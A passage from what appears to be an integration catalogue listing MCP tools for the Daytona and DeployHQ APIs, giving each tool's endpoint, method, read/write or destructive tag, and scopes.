/admin/webhooks/organizations/{organizationId}/initialize Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. POST /api/v1/daytona/admin/webhooks/organizations/{organizationId}/initialize. Scopes: api. daytona_post_admin_webhooks_organizations_by_organizationid_send (write) — Send a webhook message to an organization via POST /admin/webhooks/organizations/{organizationId}/send Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. POST /api/v1/daytona/admin/webhooks/organizations/{organizationId}/send. Scopes: api. daytona_post_api_keys (write) — Create API key via POST /api-keys POST /api/v1/daytona/api-keys. Scopes: api. daytona_post_docker_registry (write) — Create registry via POST /docker-registry POST /api/v1/daytona/docker-registry. Scopes: api. daytona_post_jobs_by_jobid_status (write) — Update job status via POST /jobs/{jobId}/status POST /api/v1/daytona/jobs/{jobId}/status. Scopes: api. daytona_post_organizations (write) — Create organization via POST /organizations POST /api/v1/daytona/organizations. Scopes: api. daytona_post_organizations_by_organizationid_identity_providers (write) — Create organization identity provider via POST /organizations/{organizationId}/identity-providers POST /api/v1/daytona/organizations/{organizationId}/identity-providers. Scopes: api. daytona_post_organizations_by_organizationid_identity_providers_test_connection (write) — Test OIDC identity provider connection via POST /organizations/{organizationId}/identity-providers/test-connection POST /api/v1/daytona/organizations/{organizationId}/identity-providers/test-connection. Scopes: api. daytona_post_organizations_by_organizationid_invitations (write) — Create organization invitation via POST /organizations/{organizationId}/invitations POST /api/v1/daytona/organizations/{organizationId}/invitations. Scopes: api. daytona_post_organizations_by_organizationid_invitations_by_invitationid_cancel (write) — Cancel organization invitation via POST /organizations/{organizationId}/invitations/{invitationId}/cancel POST /api/v1/daytona/organizations/{organizationId}/invitations/{invitationId}/cancel. Scopes: api. daytona_post_organizations_by_organizationid_leave (write) — Leave organization via POST /organizations/{organizationId}/leave POST /api/v1/daytona/organizations/{organizationId}/leave. Scopes: api. daytona_post_organizations_by_organizationid_preview_warning (write) — Update organization preview warning via POST /organizations/{organizationId}/preview-warning POST /api/v1/daytona/organizations/{organizationId}/preview-warning. Scopes: api. daytona_post_organizations_by_organizationid_roles (write) — Create organization role via POST /organizations/{organizationId}/roles POST /api/v1/daytona/organizations/{organizationId}/roles. Scopes: api. daytona_post_organizations_by_organizationid_sandbox_default_limited_network_egress (write) — Update sandbox default limited network egress via POST /organizations/{organizationId}/sandbox-default-limited-network-egress POST /api/v1/daytona/organizations/{organizationId}/sandbox-default-limited-network-egress. Scopes: api. daytona_post_organizations_by_organizationid_sso_enabled (write) — Update organization SSO entitlement via POST /organizations/{organizationId}/sso-enabled POST /api/v1/daytona/organizations/{organizationId}/sso-enabled. Scopes: api. daytona_post_organizations_by_organizationid_suspend (write) — Suspend organization via POST /organizations/{organizationId}/suspend POST /api/v1/daytona/organizations/{organizationId}/suspend. Scopes: api. daytona_post_organizations_by_organizationid_unsuspend (write) — Unsuspend organization via POST /organizations/{organizationId}/unsuspend POST /api/v1/daytona/organizations/{organizationId}/unsuspend. Scopes: api. daytona_post_organizations_by_organizationid_users_by_userid_access (write) — Update access for organization member via POST /organizations/{organizationId}/users/{userId}/access POST /api/v1/daytona/organizations/{organizationId}/users/{userId}/access. Scopes: api. daytona_post_organizations_invitations_by_invitationid_accept (write) — Accept organization invitation via POST /organizations/invitations/{invitationId}/accept POST /api/v1/daytona/organizations/invitations/{invitationId}/accept. Scopes: api. daytona_post_organizations_invitations_by_invitationid_decline (write) — Decline organization invitation via POST /organizations/invitations/{invitationId}/decline POST /api/v1/daytona/organizations/invitations/{invitationId}/decline. Scopes: api. daytona_post_regions (write) — Create a new region via POST /regions POST /api/v1/daytona/regions. Scopes: api. daytona_post_regions_by_id_regenerate_proxy_api_key (write) — Regenerate proxy API key for a region via POST /regions/{id}/regenerate-proxy-api-key POST /api/v1/daytona/regions/{id}/regenerate-proxy-api-key. Scopes: api. daytona_post_regions_by_id_regenerate_snapshot_manager_credentials (write) — Regenerate snapshot manager credentials for a region via POST /regions/{id}/regenerate-snapshot-manager-credentials POST /api/v1/daytona/regions/{id}/regenerate-snapshot-manager-credentials. Scopes: api. daytona_post_regions_by_id_regenerate_ssh_gateway_api_key (write) — Regenerate SSH gateway API key for a region via POST /regions/{id}/regenerate-ssh-gateway-api-key POST /api/v1/daytona/regions/{id}/regenerate-ssh-gateway-api-key. Scopes: api. daytona_post_runners (write) — Create runner via POST /runners POST /api/v1/daytona/runners. Scopes: api. daytona_post_runners_healthcheck (write) — Endpoint for version 2 runners to send healthcheck and metrics. Updates lastChecked timestamp and runner metrics. via POST /runners/healthcheck POST /api/v1/daytona/runners/healthcheck. Scopes: api. daytona_post_sandbox (write) — Create a new sandbox via POST /sandbox POST /api/v1/daytona/sandbox. Scopes: api. daytona_post_sandbox_by_sandboxid_last_activity (write) — Update sandbox last activity via POST /sandbox/{sandboxId}/last-activity POST /api/v1/daytona/sandbox/{sandboxId}/last-activity. Scopes: api. daytona_post_sandbox_by_sandboxid_signing_key_rotate (write) — Rotate the signing key, invalidating all previously signed URLs via POST /sandbox/{sandboxId}/signing-key/rotate POST /api/v1/daytona/sandbox/{sandboxId}/signing-key/rotate. Scopes: api. daytona_post_sandbox_by_sandboxidorname_archive (write) — Archive sandbox via POST /sandbox/{sandboxIdOrName}/archive POST /api/v1/daytona/sandbox/{sandboxIdOrName}/archive. Scopes: api. daytona_post_sandbox_by_sandboxidorname_autoarchive_by_interval (write) — Set sandbox auto-archive interval via POST /sandbox/{sandboxIdOrName}/autoarchive/{interval} POST /api/v1/daytona/sandbox/{sandboxIdOrName}/autoarchive/{interval}. Scopes: api. daytona_post_sandbox_by_sandboxidorname_autodelete_by_interval (write) — Set sandbox auto-delete interval via POST /sandbox/{sandboxIdOrName}/autodelete/{interval} POST /api/v1/daytona/sandbox/{sandboxIdOrName}/autodelete/{interval}. Scopes: api. daytona_post_sandbox_by_sandboxidorname_autopause_by_interval (write) — Set sandbox auto-pause interval via POST /sandbox/{sandboxIdOrName}/autopause/{interval} POST /api/v1/daytona/sandbox/{sandboxIdOrName}/autopause/{interval}. Scopes: api. daytona_post_sandbox_by_sandboxidorname_autostop_by_interval (write) — Set sandbox auto-stop interval via POST /sandbox/{sandboxIdOrName}/autostop/{interval} POST /api/v1/daytona/sandbox/{sandboxIdOrName}/autostop/{interval}. Scopes: api. daytona_post_sandbox_by_sandboxidorname_backup (write) — Deprecated: backups are managed automatically. This endpoint is a no-op kept for compatibility. via POST /sandbox/{sandboxIdOrName}/backup POST /api/v1/daytona/sandbox/{sandboxIdOrName}/backup. Scopes: api. daytona_post_sandbox_by_sandboxidorname_fork (write) — Fork a sandbox via POST /sandbox/{sandboxIdOrName}/fork POST /api/v1/daytona/sandbox/{sandboxIdOrName}/fork. Scopes: api. daytona_post_sandbox_by_sandboxidorname_network_settings (write) — Changes outbound network policy on the runner for a running sandbox (for example block all traffic, restore access, or set a CIDR allow list). via POST /sandbox/{sandboxIdOrName}/network-settings POST /api/v1/daytona/sandbox/{sandboxIdOrName}/network-settings. Scopes: api. daytona_post_sandbox_by_sandboxidorname_pause (write) — Pause sandbox via POST /sandbox/{sandboxIdOrName}/pause POST /api/v1/daytona/sandbox/{sandboxIdOrName}/pause. Scopes: api. daytona_post_sandbox_by_sandboxidorname_ports_by_port_signed_preview_url_by_token_expire (write) — Expire signed preview URL for a sandbox port via POST /sandbox/{sandboxIdOrName}/ports/{port}/signed-preview-url/{token}/expire POST /api/v1/daytona/sandbox/{sandboxIdOrName}/ports/{port}/signed-preview-url/{token}/expire. Scopes: api. daytona_post_sandbox_by_sandboxidorname_public_by_ispublic (write) — Update public status via POST /sandbox/{sandboxIdOrName}/public/{isPublic} POST /api/v1/daytona/sandbox/{sandboxIdOrName}/public/{isPublic}. Scopes: api. daytona_post_sandbox_by_sandboxidorname_recover (write) — Recover sandbox from error state via POST /sandbox/{sandboxIdOrName}/recover POST /api/v1/daytona/sandbox/{sandboxIdOrName}/recover. Scopes: api. daytona_post_sandbox_by_sandboxidorname_resize (write) — Resize sandbox resources via POST /sandbox/{sandboxIdOrName}/resize POST /api/v1/daytona/sandbox/{sandboxIdOrName}/resize. Scopes: api. daytona_post_sandbox_by_sandboxidorname_snapshot (write) — Create a snapshot from a sandbox via POST /sandbox/{sandboxIdOrName}/snapshot POST /api/v1/daytona/sandbox/{sandboxIdOrName}/snapshot. Scopes: api. daytona_post_sandbox_by_sandboxidorname_ssh_access (write) — Create SSH access for sandbox via POST /sandbox/{sandboxIdOrName}/ssh-access POST /api/v1/daytona/sandbox/{sandboxIdOrName}/ssh-access. Scopes: api. daytona_post_sandbox_by_sandboxidorname_start (write) — Starts a stopped or archived sandbox, or resumes a paused sandbox. The transition taken depends on the current sandbox state. via POST /sandbox/{sandboxIdOrName}/start POST /api/v1/daytona/sandbox/{sandboxIdOrName}/start. Scopes: api. daytona_post_sandbox_by_sandboxidorname_stop (write) — Stop sandbox via POST /sandbox/{sandboxIdOrName}/stop POST /api/v1/daytona/sandbox/{sandboxIdOrName}/stop. Scopes: api. daytona_post_sandbox_by_sandboxidorname_ttl_by_ttlminutes (write) — Set sandbox TTL via POST /sandbox/{sandboxIdOrName}/ttl/{ttlMinutes} POST /api/v1/daytona/sandbox/{sandboxIdOrName}/ttl/{ttlMinutes}. Scopes: api. daytona_post_secret (write) — Create secret via POST /secret POST /api/v1/daytona/secret. Scopes: api. daytona_post_snapshots (write) — Create a new snapshot via POST /snapshots POST /api/v1/daytona/snapshots. Scopes: api. daytona_post_snapshots_by_id_activate (write) — Activate a snapshot via POST /snapshots/{id}/activate POST /api/v1/daytona/snapshots/{id}/activate. Scopes: api. daytona_post_snapshots_by_id_deactivate (write) — Deactivate a snapshot via POST /snapshots/{id}/deactivate POST /api/v1/daytona/snapshots/{id}/deactivate. Scopes: api. daytona_post_users_linked_accounts (write) — Link account via POST /users/linked-accounts POST /api/v1/daytona/users/linked-accounts. Scopes: api. daytona_post_users_me_pending_sso_links_by_id_confirm (write) — Confirm (link) a pending SSO account link via POST /users/me/pending-sso-links/{id}/confirm POST /api/v1/daytona/users/me/pending-sso-links/{id}/confirm. Scopes: api. daytona_post_users_mfa_sms_enroll (write) — Enroll in SMS MFA via POST /users/mfa/sms/enroll POST /api/v1/daytona/users/mfa/sms/enroll. Scopes: api. daytona_post_volumes (write) — Create a new volume via POST /volumes POST /api/v1/daytona/volumes. Scopes: api. daytona_post_warm_pools (write) — Create a warm pool via POST /warm-pools POST /api/v1/daytona/warm-pools. Scopes: api. daytona_post_webhooks_organizations_by_organizationid_app_portal_access (write) — Get Svix Consumer App Portal access for an organization via POST /webhooks/organizations/{organizationId}/app-portal-access POST /api/v1/daytona/webhooks/organizations/{organizationId}/app-portal-access. Scopes: api. daytona_post_webhooks_organizations_by_organizationid_initialize (write) — Initialize webhooks for an organization via POST /webhooks/organizations/{organizationId}/initialize POST /api/v1/daytona/webhooks/organizations/{organizationId}/initialize. Scopes: api. daytona_post_webhooks_organizations_by_organizationid_refresh_endpoints (write) — Refresh cached endpoint presence flag for an organization via POST /webhooks/organizations/{organizationId}/refresh-endpoints POST /api/v1/daytona/webhooks/organizations/{organizationId}/refresh-endpoints. Scopes: api. daytona_put_organizations_by_organizationid_experimental_config (write) — Update experimental configuration via PUT /organizations/{organizationId}/experimental-config PUT /api/v1/daytona/organizations/{organizationId}/experimental-config. Scopes: api. daytona_put_organizations_by_organizationid_invitations_by_invitationid (write) — Update organization invitation via PUT /organizations/{organizationId}/invitations/{invitationId} PUT /api/v1/daytona/organizations/{organizationId}/invitations/{invitationId}. Scopes: api. daytona_put_organizations_by_organizationid_otel_config (write) — Update organization OpenTelemetry configuration via PUT /organizations/{organizationId}/otel-config PUT /api/v1/daytona/organizations/{organizationId}/otel-config. Scopes: api. daytona_put_organizations_by_organizationid_roles_by_roleid (write) — Update organization role via PUT /organizations/{organizationId}/roles/{roleId} PUT /api/v1/daytona/organizations/{organizationId}/roles/{roleId}. Scopes: api. daytona_put_sandbox_by_sandboxid_state (write) — Update sandbox state via PUT /sandbox/{sandboxId}/state PUT /api/v1/daytona/sandbox/{sandboxId}/state. Scopes: api. daytona_put_sandbox_by_sandboxidorname_labels (write) — Replace sandbox labels via PUT /sandbox/{sandboxIdOrName}/labels PUT /api/v1/daytona/sandbox/{sandboxIdOrName}/labels. Scopes: api. daytona_put_sandbox_by_sandboxidorname_secrets (write) — Replaces the set of vault secrets mounted in the sandbox. Attached, detached and rotated secrets take effect for outbound requests within seconds. New env vars become visible to processes spawned after the update; a sandbox created without any secrets must be restarted for newly attached secrets to work. via PUT /sandbox/{sandboxIdOrName}/secrets PUT /api/v1/daytona/sandbox/{sandboxIdOrName}/secrets. Scopes: api. ================================================================================ ## DeployHQ URL: https://www.agenticfabriq.com/integrations/deployhq Section: Integrated Tools DeployHQ — 213 MCP tools Provider key: deployhq. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. deployhq_delete_agents_by_id (write, destructive) — Permanently deletes a network agent from the account. DeployHQ DELETE /agents/{id}. DELETE /api/v1/deployhq/agents/{id}. Scopes: api. deployhq_delete_folders_by_id (write, destructive) — Deletes a folder. Projects assigned to it are not deleted; they become ungrouped. DeployHQ DELETE /folders/{id}. DELETE /api/v1/deployhq/folders/{id}. Scopes: api. deployhq_delete_global_build_commands_by_id (write, destructive) — Delete global build command. DeployHQ DELETE /global_build_commands/{id}. DELETE /api/v1/deployhq/global_build_commands/{id}. Scopes: api. deployhq_delete_global_config_files_by_id (write, destructive) — Delete global config file. DeployHQ DELETE /global_config_files/{id}. DELETE /api/v1/deployhq/global_config_files/{id}. Scopes: api. deployhq_delete_global_environment_variables_by_id (write, destructive) — Permanently removes a global environment variable from the account. DeployHQ DELETE /global_environment_variables/{id}. DELETE /api/v1/deployhq/global_environment_variables/{id}. Scopes: api. deployhq_delete_global_servers_by_id (write, destructive) — Delete a global server. DeployHQ DELETE /global_servers/{id}. DELETE /api/v1/deployhq/global_servers/{id}. Scopes: api. deployhq_delete_global_ssh_commands_by_id (write, destructive) — Delete global ssh command. DeployHQ DELETE /global_ssh_commands/{id}. DELETE /api/v1/deployhq/global_ssh_commands/{id}. Scopes: api. deployhq_delete_projects_by_id (write, destructive) — Queues the project for deletion. Fails if any deployments are currently running. DeployHQ DELETE /projects/{id}. DELETE /api/v1/deployhq/projects/{id}. Scopes: api. deployhq_delete_projects_by_project_id_build_cache_files_by_id (write, destructive) — Removes a build cache file entry from the project. The cached files will no longer persist between builds. DeployHQ DELETE /projects/{project_id}/build_cache_files/{id}. DELETE /api/v1/deployhq/projects/{project_id}/build_cache_files/{id}. Scopes: api. deployhq_delete_projects_by_project_id_build_commands_by_id (write, destructive) — Removes a build command from the project's build pipeline. DeployHQ DELETE /projects/{project_id}/build_commands/{id}. DELETE /api/v1/deployhq/projects/{project_id}/build_commands/{id}. Scopes: api. deployhq_delete_projects_by_project_id_build_commands_unlink_global (write, destructive) — Removes a linked global build command from this project. DeployHQ DELETE /projects/{project_id}/build_commands/unlink_global. DELETE /api/v1/deployhq/projects/{project_id}/build_commands/unlink_global. Scopes: api. deployhq_delete_projects_by_project_id_build_configurations_by_id (write, destructive) — Removes a non-default build environment configuration. The default configuration cannot be deleted. DeployHQ DELETE /projects/{project_id}/build_configurations/{id}. DELETE /api/v1/deployhq/projects/{project_id}/build_configurations/{id}. Scopes: api. deployhq_delete_projects_by_project_id_build_known_hosts_by_id (write, destructive) — Removes an SSH known host entry from the project's build environment. DeployHQ DELETE /projects/{project_id}/build_known_hosts/{id}. DELETE /api/v1/deployhq/projects/{project_id}/build_known_hosts/{id}. Scopes: api. deployhq_delete_projects_by_project_id_commands_by_id (write, destructive) — Removes an SSH command from the project. DeployHQ DELETE /projects/{project_id}/commands/{id}. DELETE /api/v1/deployhq/projects/{project_id}/commands/{id}. Scopes: api. deployhq_delete_projects_by_project_id_commands_unlink_global (write, destructive) — Removes a linked global SSH command from this project. DeployHQ DELETE /projects/{project_id}/commands/unlink_global. DELETE /api/v1/deployhq/projects/{project_id}/commands/unlink_global. Scopes: api. deployhq_delete_projects_by_project_id_config_files_by_id (write, destructive) — Removes a configuration file from the project. The file will no longer be deployed to servers. DeployHQ DELETE /projects/{project_id}/config_files/{id}. DELETE /api/v1/deployhq/projects/{project_id}/config_files/{id}. Scopes: api. deployhq_delete_projects_by_project_id_deployment_checks_by_id (write, destructive) — Removes a deployment check from the project. DeployHQ DELETE /projects/{project_id}/deployment_checks/{id}. DELETE /api/v1/deployhq/projects/{project_id}/deployment_checks/{id}. Scopes: api. deployhq_delete_projects_by_project_id_environment_variables_by_id (write, destructive) — Permanently removes an environment variable from the project. DeployHQ DELETE /projects/{project_id}/environment_variables/{id}. DELETE /api/v1/deployhq/projects/{project_id}/environment_variables/{id}. Scopes: api. deployhq_delete_projects_by_project_id_excluded_files_by_id (write, destructive) — Removes a file path from the project's exclusion list. DeployHQ DELETE /projects/{project_id}/excluded_files/{id}. DELETE /api/v1/deployhq/projects/{project_id}/excluded_files/{id}. Scopes: api. deployhq_delete_projects_by_project_id_integrations_by_id (write, destructive) — Permanently removes an integration from the project. DeployHQ DELETE /projects/{project_id}/integrations/{id}. DELETE /api/v1/deployhq/projects/{project_id}/integrations/{id}. Scopes: api. deployhq_delete_projects_by_project_id_scheduled_deployments_by_id (write, destructive) — Cancels and deletes a scheduled deployment that has not yet run. DeployHQ DELETE /projects/{project_id}/scheduled_deployments/{id}. DELETE /api/v1/deployhq/projects/{project_id}/scheduled_deployments/{id}. Scopes: api. deployhq_delete_projects_by_project_id_server_groups_by_id (write, destructive) — Permanently removes a server group from the project. DeployHQ DELETE /projects/{project_id}/server_groups/{id}. DELETE /api/v1/deployhq/projects/{project_id}/server_groups/{id}. Scopes: api. deployhq_delete_projects_by_project_id_servers_by_id (write, destructive) — Removes a server from the project. Fails if any deployments are currently running against this server. DeployHQ DELETE /projects/{project_id}/servers/{id}. DELETE /api/v1/deployhq/projects/{project_id}/servers/{id}. Scopes: api. deployhq_delete_projects_by_project_id_ssh_commands_by_id (write, destructive) — Removes an SSH command from the project. DeployHQ DELETE /projects/{project_id}/ssh_commands/{id}. DELETE /api/v1/deployhq/projects/{project_id}/ssh_commands/{id}. Scopes: api. deployhq_delete_security_api_keys_by_id (write, destructive) — Revokes an API key by its identifier. DeployHQ DELETE /security/api_keys/{id}. DELETE /api/v1/deployhq/security/api_keys/{id}. Scopes: api. deployhq_delete_ssh_keys_by_id (write, destructive) — Delete an SSH key. DeployHQ DELETE /ssh_keys/{id}. DELETE /api/v1/deployhq/ssh_keys/{id}. Scopes: api. deployhq_delete_teams_by_id (write, destructive) — Deletes a team. DeployHQ DELETE /teams/{id}. DELETE /api/v1/deployhq/teams/{id}. Scopes: api. deployhq_delete_templates_by_id (write, destructive) — Permanently removes a template from the account. DeployHQ DELETE /templates/{id}. DELETE /api/v1/deployhq/templates/{id}. Scopes: api. deployhq_delete_users_by_id (write, destructive) — Removes a user from the account. Cannot remove the account administrator. DeployHQ DELETE /users/{id}. DELETE /api/v1/deployhq/users/{id}. Scopes: api. deployhq_get_account (read) — Returns the current account's settings including plan, status, and project usage. DeployHQ GET /account. GET /api/v1/deployhq/account. Scopes: api. deployhq_get_account_billing_status (read) — Returns billing and subscription status for the account. DeployHQ GET /account/billing_status. GET /api/v1/deployhq/account/billing_status. Scopes: api. deployhq_get_account_invoices (read) — Returns all finalised invoices for the account, each with a per-invoice PDF download URL. `paid_at` is null when the invoice is unpaid. A manually suspended account receives the 402 response instead, whose `suspension_reason` is null when no reason was recorded against the suspension. DeployHQ GET /account/invoices. GET /api/v1/deployhq/account/invoices. Scopes: api. deployhq_get_account_invoices_by_id (read) — Downloads a single invoice as a PDF. A manually suspended account receives the 402 response instead, whose `suspension_reason` is null when no reason was recorded against the suspension. DeployHQ GET /account/invoices/{id}. GET /api/v1/deployhq/account/invoices/{id}. Scopes: api. deployhq_get_agents (read) — Returns all network agents registered to the current account. DeployHQ GET /agents. GET /api/v1/deployhq/agents. Scopes: api. deployhq_get_by_id_by_identifier_status_badge_svg (read) — Returns an SVG badge showing the last deployment status for the project or a specific server/group. No authentication required. DeployHQ GET /{id}/{identifier}/status_badge.svg. GET /api/v1/deployhq/{id}/{identifier}/status_badge.svg. Scopes: api. deployhq_get_by_id_status_badge_svg (read) — Returns an SVG badge showing the last deployment status for the project or a specific server/group. No authentication required. DeployHQ GET /{id}/status_badge.svg. GET /api/v1/deployhq/{id}/status_badge.svg. Scopes: api. deployhq_get_folders (read) — Returns all folders in the account, ordered alphabetically by name. Each folder includes a count of projects assigned to it. DeployHQ GET /folders. GET /api/v1/deployhq/folders. Scopes: api. deployhq_get_global_build_commands (read) — List global build commands. DeployHQ GET /global_build_commands. GET /api/v1/deployhq/global_build_commands. Scopes: api. deployhq_get_global_build_commands_by_id (read) — View global build command. DeployHQ GET /global_build_commands/{id}. GET /api/v1/deployhq/global_build_commands/{id}. Scopes: api. deployhq_get_global_config_files (read) — List global config files. DeployHQ GET /global_config_files. GET /api/v1/deployhq/global_config_files. Scopes: api. deployhq_get_global_config_files_by_id (read) — View global config file. DeployHQ GET /global_config_files/{id}. GET /api/v1/deployhq/global_config_files/{id}. Scopes: api. deployhq_get_global_environment_variables (read) — Returns all account-level environment variables available to every project. DeployHQ GET /global_environment_variables. GET /api/v1/deployhq/global_environment_variables. Scopes: api. deployhq_get_global_environment_variables_by_id (read) — Returns the details of a single global environment variable. DeployHQ GET /global_environment_variables/{id}. GET /api/v1/deployhq/global_environment_variables/{id}. Scopes: api. deployhq_get_global_servers (read) — List global servers. DeployHQ GET /global_servers. GET /api/v1/deployhq/global_servers. Scopes: api. deployhq_get_global_servers_by_id (read) — Returns the full details of a single global server. For managed_vps servers the response includes a `managed_vps` block (status, ip_address, region, size, ssh_key). The block is `null` when the underlying managed resource does not exist yet (e.g. provisioning failed before it was created). DeployHQ GET /global_servers/{id}. GET /api/v1/deployhq/global_servers/{id}. Scopes: api. deployhq_get_global_ssh_commands (read) — List global ssh commands. DeployHQ GET /global_ssh_commands. GET /api/v1/deployhq/global_ssh_commands. Scopes: api. deployhq_get_global_ssh_commands_by_id (read) — View global ssh command. DeployHQ GET /global_ssh_commands/{id}. GET /api/v1/deployhq/global_ssh_commands/{id}. Scopes: api. deployhq_get_hosted_resources (read) — Returns both managed VPS resources (hosted_resource) and static hosting sites (hosted_website) for the authenticated account. The `kind` field discriminates; type-specific fields are populated accordingly. DeployHQ GET /hosted_resources. GET /api/v1/deployhq/hosted_resources. Scopes: api. deployhq_get_hosted_resources_by_id (read) — Returns a hosted resource (managed VPS) or hosted website (static hosting) based on the identifier. The `kind` field discriminates the response shape. DeployHQ GET /hosted_resources/{id}. GET /api/v1/deployhq/hosted_resources/{id}. Scopes: api. deployhq_get_language_versions (read) — Returns all available language/runtime versions from the build server. DeployHQ GET /language_versions. GET /api/v1/deployhq/language_versions. Scopes: api. deployhq_get_managed_hosting_regions (read) — Returns available managed VPS regions grouped geographically. DeployHQ GET /managed_hosting/regions. GET /api/v1/deployhq/managed_hosting/regions. Scopes: api. deployhq_get_managed_hosting_sizes (read) — List available sizes. DeployHQ GET /managed_hosting/sizes. GET /api/v1/deployhq/managed_hosting/sizes. Scopes: api. deployhq_get_profile (read) — Returns the authenticated user's profile including account details and capability flags. DeployHQ GET /profile. GET /api/v1/deployhq/profile. Scopes: api. deployhq_get_projects (read) — Returns all projects accessible to the authenticated user, sorted alphabetically. Each project includes its starred status. DeployHQ GET /projects. GET /api/v1/deployhq/projects. Scopes: api. deployhq_get_projects_by_id (read) — Returns the full details of a single project including its repository info, zone, and starred status. DeployHQ GET /projects/{id}. GET /api/v1/deployhq/projects/{id}. Scopes: api. deployhq_get_projects_by_id_insights (read) — Returns aggregated deployment statistics and per-server metrics for the specified time period. DeployHQ GET /projects/{id}/insights. GET /api/v1/deployhq/projects/{id}/insights. Scopes: api. deployhq_get_projects_by_id_undeployed_changes (read) — Returns the undeployed commits between the last completed deployment in the default branch and the current HEAD. Commit list is capped at 100; when capped, `truncated` is true. DeployHQ GET /projects/{id}/undeployed_changes. GET /api/v1/deployhq/projects/{id}/undeployed_changes. Scopes: api. deployhq_get_projects_by_project_id_auto_deployments (read) — Returns the webhook URL and auto-deploy settings for each server and server group in the project. DeployHQ GET /projects/{project_id}/auto_deployments. GET /api/v1/deployhq/projects/{project_id}/auto_deployments. Scopes: api. deployhq_get_projects_by_project_id_build_cache_files (read) — Returns all build cache files configured for the project. DeployHQ GET /projects/{project_id}/build_cache_files. GET /api/v1/deployhq/projects/{project_id}/build_cache_files. Scopes: api. deployhq_get_projects_by_project_id_build_commands (read) — Returns the project's build pipeline in execution order: the project's own build commands merged with any linked account-level (global) build commands. Each row carries a `source` of `project` or `global`; only `project` rows are actionable on the build-command member routes (show/update/destroy). DeployHQ GET /projects/{project_id}/build_commands. GET /api/v1/deployhq/projects/{project_id}/build_commands. Scopes: api. deployhq_get_projects_by_project_id_build_configuration (read) — Returns details of a specific build environment configuration, including known hosts, cache files, and available packages. DeployHQ GET /projects/{project_id}/build_configuration. GET /api/v1/deployhq/projects/{project_id}/build_configuration. Scopes: api. deployhq_get_projects_by_project_id_build_configurations (read) — Returns all build environment configurations for the project, including the default and any overrides. DeployHQ GET /projects/{project_id}/build_configurations. GET /api/v1/deployhq/projects/{project_id}/build_configurations. Scopes: api. deployhq_get_projects_by_project_id_build_configurations_by_id (read) — Returns details of a specific build environment configuration, including known hosts, cache files, and available packages. DeployHQ GET /projects/{project_id}/build_configurations/{id}. GET /api/v1/deployhq/projects/{project_id}/build_configurations/{id}. Scopes: api. deployhq_get_projects_by_project_id_build_known_hosts (read) — Returns all SSH known host entries configured for the project's build environment. DeployHQ GET /projects/{project_id}/build_known_hosts. GET /api/v1/deployhq/projects/{project_id}/build_known_hosts. Scopes: api. deployhq_get_projects_by_project_id_commands (read) — Returns all SSH commands configured for the project, ordered ascending. SSH commands run on target servers before or after deployment. DeployHQ GET /projects/{project_id}/commands. GET /api/v1/deployhq/projects/{project_id}/commands. Scopes: api. deployhq_get_projects_by_project_id_commands_by_id (read) — Returns details of a specific SSH command, including its timing, target servers, and error handling settings. DeployHQ GET /projects/{project_id}/commands/{id}. GET /api/v1/deployhq/projects/{project_id}/commands/{id}. Scopes: api. deployhq_get_projects_by_project_id_config_files (read) — Returns all configuration files for the project, ordered ascending. Config files are deployed to servers with their content during each deployment. DeployHQ GET /projects/{project_id}/config_files. GET /api/v1/deployhq/projects/{project_id}/config_files. Scopes: api. deployhq_get_projects_by_project_id_config_files_by_id (read) — Returns details of a specific configuration file, including its content body and server assignments. DeployHQ GET /projects/{project_id}/config_files/{id}. GET /api/v1/deployhq/projects/{project_id}/config_files/{id}. Scopes: api. deployhq_get_projects_by_project_id_deployment_checks (read) — Returns every deployment check configured for this project, ordered by position within each stage. DeployHQ GET /projects/{project_id}/deployment_checks. GET /api/v1/deployhq/projects/{project_id}/deployment_checks. Scopes: api. deployhq_get_projects_by_project_id_deployment_checks_by_id (read) — Returns a single deployment check by its identifier. DeployHQ GET /projects/{project_id}/deployment_checks/{id}. GET /api/v1/deployhq/projects/{project_id}/deployment_checks/{id}. Scopes: api. deployhq_get_projects_by_project_id_deployments (read) — Returns a paginated list of deployments for the project, excluding previews. Can be filtered by target server/group or limited to currently running deployments. DeployHQ GET /projects/{project_id}/deployments. GET /api/v1/deployhq/projects/{project_id}/deployments. Scopes: api. deployhq_get_projects_by_project_id_deployments_by_deployment_id_steps_by_step_id_logs (read) — Returns log entries for a specific deployment step, with optional pagination and download support. DeployHQ GET /projects/{project_id}/deployments/{deployment_id}/steps/{step_id}/logs. GET /api/v1/deployhq/projects/{project_id}/deployments/{deployment_id}/steps/{step_id}/logs. Scopes: api. deployhq_get_projects_by_project_id_deployments_by_id (read) — Returns the full details of a deployment including its steps and log entries. Archived and legacy deployments return simplified responses. DeployHQ GET /projects/{project_id}/deployments/{id}. GET /api/v1/deployhq/projects/{project_id}/deployments/{id}. Scopes: api. deployhq_get_projects_by_project_id_environment_variables (read) — Returns all environment variables for the project, ordered by name. Variables can be scoped to the build pipeline or specific servers. DeployHQ GET /projects/{project_id}/environment_variables. GET /api/v1/deployhq/projects/{project_id}/environment_variables. Scopes: api. deployhq_get_projects_by_project_id_environment_variables_by_id (read) — Returns details of a specific environment variable. Locked variables will have their values masked. DeployHQ GET /projects/{project_id}/environment_variables/{id}. GET /api/v1/deployhq/projects/{project_id}/environment_variables/{id}. Scopes: api. deployhq_get_projects_by_project_id_excluded_files (read) — Returns all files excluded from deployment for this project. DeployHQ GET /projects/{project_id}/excluded_files. GET /api/v1/deployhq/projects/{project_id}/excluded_files. Scopes: api. deployhq_get_projects_by_project_id_excluded_files_by_id (read) — Returns the details of a single excluded file by its identifier. DeployHQ GET /projects/{project_id}/excluded_files/{id}. GET /api/v1/deployhq/projects/{project_id}/excluded_files/{id}. Scopes: api. deployhq_get_projects_by_project_id_integrations (read) — Returns all permanent integrations configured for this project. DeployHQ GET /projects/{project_id}/integrations. GET /api/v1/deployhq/projects/{project_id}/integrations. Scopes: api. deployhq_get_projects_by_project_id_integrations_by_id (read) — Returns the details of a single integration by its identifier. DeployHQ GET /projects/{project_id}/integrations/{id}. GET 